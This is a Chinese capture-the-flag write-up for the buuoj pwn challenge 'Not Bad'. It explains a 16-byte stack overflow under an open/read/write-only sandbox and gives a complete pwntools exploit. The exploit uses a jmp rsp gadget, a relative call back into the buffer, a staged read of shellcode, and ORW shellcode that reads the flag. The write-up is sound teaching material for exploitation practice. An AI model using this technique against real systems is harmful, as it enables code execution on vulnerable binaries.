buuoj刷题记录 - [极客大挑战 2019]Not Bad

检查一下保护:

程序很简单，存在栈溢出漏洞，只能溢出16个字节。
只允许orw系统调用.

前八个字节用来jmp rsp ,紧接着加上5个字节近转移 call到buff的开始处执行.

这样就可以往buf里面写gadget来往指定地址处读入shellcode
之后跳转到shellcode把flag读出来

exp:

from pwn import*

#sh = process('./pwn')
sh = remote('node4.buuoj.cn',29515)
context.arch= 'x86_64'

shellcode = 0x123000
flag = 0x0601100		#找一个位置保存flag
orw = '''
mov rax, 0x67616c662f
push rax
mov rdi,rsp
xor rsi,rsi
mov rax,0x2
syscall

mov rdi,rax
mov rsi,0x0601100
mov rdx,0x100
xor rax,rax
syscall

mov rdi,1
mov rsi,0x0601100
mov rdx,0x30
mov rax,1
syscall
hlt
'''
jmp_rsp = 0x400A01
#
gadget = '''
mov rdi,0
mov rsi,0x123000
mov rdx,0x1000
xor rax,rax
syscall 
jmp rsi 
'''
#ffffffd0
payload = asm(gadget).ljust(32,b'\x00') + p64(0) + p64(jmp_rsp) + b'\xE8\xcb\xff\xff\xff' 	#call 硬编码E8，后面加上四个字节的偏移(目标指令 - 下一条指令地址)
sh.sendafter(b'Easy shellcode, have fun!',payload)
#gdb.attach(sh)
sh.sendafter(b'Baddd! Focu5 me! Baddd! Baddd!',asm(orw))
sh.interactive()

成功拿到flag: